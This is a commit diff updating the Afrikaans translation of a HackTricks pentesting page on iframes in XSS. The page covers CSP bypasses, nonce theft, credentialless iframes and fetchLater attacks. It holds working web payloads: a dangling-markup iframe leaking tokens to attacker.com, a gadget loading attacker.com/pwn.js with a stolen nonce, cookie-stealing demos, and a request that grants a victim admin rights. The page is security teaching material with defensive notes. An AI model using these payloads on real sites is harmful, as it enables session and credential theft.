mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
Translator
parent
8190d60e1a
commit
248293cd3c
@ -10,7 +10,7 @@ Daar is 3 maniere om die inhoud van 'n iframed bladsy aan te dui:
|
||||
- Deur `src` wat die inhoud aandui met die `data:` protokol
|
||||
- Deur `srcdoc` wat die inhoud aandui
|
||||
|
||||
**Toegang tot Ouers & Kind vars**
|
||||
**Toegang tot Ouers & Kind veranderlikes**
|
||||
```html
|
||||
<html>
|
||||
<script>
|
||||
@ -45,7 +45,7 @@ var secret = "child secret"
|
||||
alert(parent.secret)
|
||||
</script>
|
||||
```
|
||||
As jy toegang tot die vorige html via 'n http-server (soos `python3 -m http.server`) verkry, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). **die ouer sal nie in staat wees om toegang te verkry tot die `secret` var binne enige iframe nie** en **slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan toegang verkry tot die geheim** in die oorspronklike venster.\
|
||||
As jy toegang tot die vorige html via 'n http-server (soos `python3 -m http.server`) verkry, sal jy opgemerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit verhinder nie). **die ouer sal nie in staat wees om toegang te verkry tot die `secret` var binne enige iframe nie** en **slegs die iframes if2 & if3 (wat beskou word as dieselfde webwerf) kan toegang verkry tot die geheim** in die oorspronklike venster.\
|
||||
Let op hoe if4 beskou word as 'n `null` oorsprong.
|
||||
|
||||
### Iframes met CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
|
||||
@ -61,7 +61,7 @@ Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:
|
||||
<head>
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
|
||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
|
||||
</head>
|
||||
<script>
|
||||
var secret = "31337s3cr37t"
|
||||
@ -83,7 +83,7 @@ Echter, **slegs `if1` en `if2` skripte gaan uitgevoer word, maar slegs `if1` sal
|
||||
|
||||
Daarom is dit moontlik om **'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via iframe kan laai, selfs met `script-src 'none'`**. Dit kan **ook moontlik wees om 'n same-site JSONP-eindpunt te misbruik**.
|
||||
|
||||
Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met `script-src 'none'`. Voer net die toepassing uit en toegang dit met jou blaaskans:
|
||||
Jy kan dit toets met die volgende scenario waar 'n koekie gesteel word selfs met `script-src 'none'`. Voer eenvoudig die toepassing uit en toegang dit met jou blaaskans:
|
||||
```python
|
||||
import flask
|
||||
from flask import Flask
|
||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
### Ander Payloads gevind in die natuur <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
|
||||
#### Nuwe (2023-2025) CSP omseil tegnieke met iframes
|
||||
|
||||
Die navorsingsgemeenskap gaan voort om kreatiewe maniere te ontdek om iframes te misbruik om beperkende beleide te oorwin. Hieronder kan jy die mees noemenswaardige tegnieke vind wat gedurende die laaste paar jaar gepubliseer is:
|
||||
|
||||
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wanneer 'n toepassing HTML reflekteer maar 'n sterk CSP script uitvoering blokkeer, kan jy steeds sensitiewe tokens lek deur 'n *dangling* `<iframe name>` attribuut in te spuit. Sodra die gedeeltelike markup geanaliseer is, navigeer die aanvaller se script wat in 'n aparte oorsprong loop die raam na `about:blank` en lees `window.name`, wat nou alles bevat tot by die volgende aanhalingsteken (byvoorbeeld 'n CSRF-token). Omdat daar geen JavaScript in die slagoffer se konteks loop nie, ontduik die aanval gewoonlik `script-src 'none'`. 'n Minimale PoC is:
|
||||
|
||||
```html
|
||||
<!-- Injection point just before a sensitive <script> -->
|
||||
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
|
||||
````
|
||||
```javascript
|
||||
// attacker.com frame
|
||||
const victim = window.frames[0];
|
||||
victim.location = 'about:blank';
|
||||
console.log(victim.name); // → leaked value
|
||||
```
|
||||
|
||||
* **Nonce diefstal via same-origin iframe (2024)** – CSP nonces word nie uit die DOM verwyder nie; hulle word bloot in DevTools versteek. As 'n aanvaller 'n *same-origin* iframe kan inspuit (byvoorbeeld deur HTML na die webwerf op te laai) kan die kindraam eenvoudig `document.querySelector('[nonce]').nonce` vra en nuwe `<script nonce>` nodes skep wat aan die beleid voldoen, wat volle JavaScript uitvoering moontlik maak ten spyte van `strict-dynamic`. Die volgende gadget eskaleer 'n markup inspuiting in XSS:
|
||||
|
||||
```javascript
|
||||
const n = top.document.querySelector('[nonce]').nonce;
|
||||
const s = top.document.createElement('script');
|
||||
s.src = '//attacker.com/pwn.js';
|
||||
s.nonce = n;
|
||||
top.document.body.appendChild(s);
|
||||
```
|
||||
|
||||
* **Form-action hijacking (PortSwigger 2024)** – 'n Bladsy wat die `form-action` riglyn omseil, kan sy aanmeldvorm *herdoel* van 'n ingespuite iframe of inline HTML sodat wagwoordbestuurders outomaties inligting invul en aan 'n eksterne domein indien, selfs wanneer `script-src 'none'` teenwoordig is. Vul altyd `default-src` aan met `form-action`!
|
||||
|
||||
**Verdedigende notas (vinnige kontrolelys)**
|
||||
|
||||
1. Stuur altyd *alle* CSP riglyne wat sekondêre kontekste beheer (`form-action`, `frame-src`, `child-src`, `object-src`, ens.).
|
||||
2. Moet nie staatmaak op nonces wat geheim is nie—gebruik `strict-dynamic` **en** elimineer inspuitpunte.
|
||||
3. Wanneer jy onbetroubare dokumente moet inkorporeer, gebruik `sandbox="allow-scripts allow-same-origin"` **baie versigtig** (of sonder `allow-same-origin` as jy net script uitvoering isolasie benodig).
|
||||
4. Oorweeg 'n verdediging-in-diepte COOP+COEP implementering; die nuwe `<iframe credentialless>` attribuut (§ hieronder) laat jou toe om dit te doen sonder om derdeparty insluitings te breek.
|
||||
|
||||
### Ander Payloads gevind in die natuur <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
|
||||
```html
|
||||
<!-- This one requires the data: scheme to be allowed -->
|
||||
<iframe
|
||||
@ -127,27 +163,35 @@ Wanneer dit gebruik word, plaas die `sandbox` attribuut verskeie beperkings:
|
||||
- Toegang tot sekere API's is gedeaktiveer.
|
||||
- Dit verhoed dat skakels met ander blaai-kontekste interaksie het.
|
||||
- Gebruik van plugins via `<embed>`, `<object>`, `<applet>`, of soortgelyke etikette is verbode.
|
||||
- Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self word verhoed.
|
||||
- Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus van vormkontroles, word geblokkeer.
|
||||
- Navigasie van die inhoud se topvlak blaai-konteks deur die inhoud self is verhoed.
|
||||
- Kenmerke wat outomaties geaktiveer word, soos video-afspeel of outo-fokus van vormkontroles, is geblokkeer.
|
||||
|
||||
Tip: Moderne blaaiers ondersteun fyn vlaggies soos `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, ens. Kombineer hulle om slegs die minimum vermoëns wat deur die ingebedde toepassing vereis word, toe te laat.
|
||||
|
||||
Die attribuut se waarde kan leeg gelaat word (`sandbox=""`) om al die bogenoemde beperkings toe te pas. Alternatiewelik kan dit gestel word op 'n spasie-geskeide lys van spesifieke waardes wat die iframe van sekere beperkings vrystel.
|
||||
```html
|
||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
|
||||
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
|
||||
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
|
||||
```
|
||||
### Credentialless iframes
|
||||
|
||||
Soos verduidelik in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), die `credentialless` vlag in 'n iframe word gebruik om 'n bladsy binne 'n iframe te laai sonder om kredensiale in die versoek te stuur terwyl die dieselfde oorsprong beleid (SOP) van die gelaaide bladsy in die iframe gehandhaaf word.
|
||||
|
||||
Dit stel die iframe in staat om sensitiewe inligting van 'n ander iframe in dieselfde SOP wat in die ouerbladsy gelaai is, te bekom:
|
||||
Sedert **Chrome 110 (Februarie 2023) is die funksie standaard geaktiveer** en die spesifikasie word gestandaardiseer oor blaaiers onder die naam *anonymous iframe*. MDN beskryf dit as: “'n meganisme om derdeparty iframes in 'n splinternuwe, ephemerale stoorpartisie te laai sodat geen koekies, localStorage of IndexedDB gedeel word met die werklike oorsprong”. Gevolge vir aanvallers en verdedigers:
|
||||
|
||||
* Skrifte in verskillende credentialless iframes **deel steeds dieselfde top-niveau oorsprong** en kan vrylik via die DOM interaksie hê, wat multi-iframe self-XSS-aanvalle haalbaar maak (sien PoC hieronder).
|
||||
* Omdat die netwerk **credential-stripped** is, gedra enige versoek binne die iframe effektief soos 'n nie-geverifieerde sessie – CSRF-beskermde eindpunte faal gewoonlik, maar openbare bladsye wat via DOM gelek kan word, is steeds in omvang.
|
||||
* Pop-ups wat uit 'n credentialless iframe ontstaan, kry 'n implisiete `rel="noopener"`, wat sommige OAuth-strome breek.
|
||||
```javascript
|
||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
|
||||
alert(window.top[1].document.cookie);
|
||||
// PoC: two same-origin credentialless iframes stealing cookies set by a third
|
||||
window.top[1].document.cookie = 'foo=bar'; // write
|
||||
alert(window.top[2].document.cookie); // read -> foo=bar
|
||||
```
|
||||
- Exploit voorbeeld: Self-XSS + CSRF
|
||||
|
||||
In hierdie aanval berei die aanvaller 'n kwaadwillige webblad voor met 2 iframes:
|
||||
|
||||
- 'n iframe wat die slagoffer se bladsy laai met die `credentialless` vlag met 'n CSRF wat 'n XSS aktiveer (Stel jou 'n Self-XSS in die gebruiker se gebruikersnaam voor):
|
||||
- 'n iframe wat die slagoffer se bladsy laai met die `credentialless` vlag met 'n CSRF wat 'n XSS aktiveer (Stel jou 'n Self-XSS in die gebruikersnaam van die gebruiker voor):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -171,9 +215,9 @@ alert(window.top[1].document.cookie);
|
||||
```
|
||||
### fetchLater Aanval
|
||||
|
||||
Soos aangedui in [hierdie artikel](https://blog.slonser.info/posts/make-self-xss-great-again/) laat die API `fetchLater` toe om 'n versoek te konfigureer wat later uitgevoer moet word (na 'n sekere tyd). Daarom kan dit misbruik word om byvoorbeeld 'n slagoffer binne 'n aanvaller se sessie in te log (met Self-XSS), 'n `fetchLater` versoek in te stel (om die wagwoord van die huidige gebruiker te verander byvoorbeeld) en uit te log uit die aanvaller se sessie. Dan log die slagoffer in sy eie sessie in en die `fetchLater` versoek sal uitgevoer word, wat die wagwoord van die slagoffer verander na die een wat deur die aanvaller gestel is.
|
||||
Soos aangedui in [hierdie artikel](https://blog.slonser.info/posts/make-self-xss-great-again/) laat die API `fetchLater` toe om 'n versoek te konfigureer wat later uitgevoer moet word (na 'n sekere tyd). Daarom kan dit misbruik word om byvoorbeeld 'n slagoffer binne 'n aanvaller se sessie in te log (met Self-XSS), 'n `fetchLater` versoek in te stel (om die wagwoord van die huidige gebruiker te verander byvoorbeeld) en uit te log uit die aanvaller se sessie. Dan log die slagoffer in in sy eie sessie en die `fetchLater` versoek sal uitgevoer word, wat die wagwoord van die slagoffer verander na die een wat deur die aanvaller gestel is.
|
||||
|
||||
Op hierdie manier, selfs al kan die slagoffer se URL nie in 'n iframe gelaai word nie (weens CSP of ander beperkings), kan die aanvaller steeds 'n versoek in die slagoffer se sessie uitvoer.
|
||||
Op hierdie manier, selfs al kan die slagoffer se URL nie in 'n iframe gelaai word nie (as gevolg van CSP of ander beperkings), kan die aanvaller steeds 'n versoek in die slagoffer se sessie uitvoer.
|
||||
```javascript
|
||||
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
|
||||
const minute = 60000
|
||||
@ -201,4 +245,10 @@ Kyk na die volgende bladsye:
|
||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
|
||||
* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user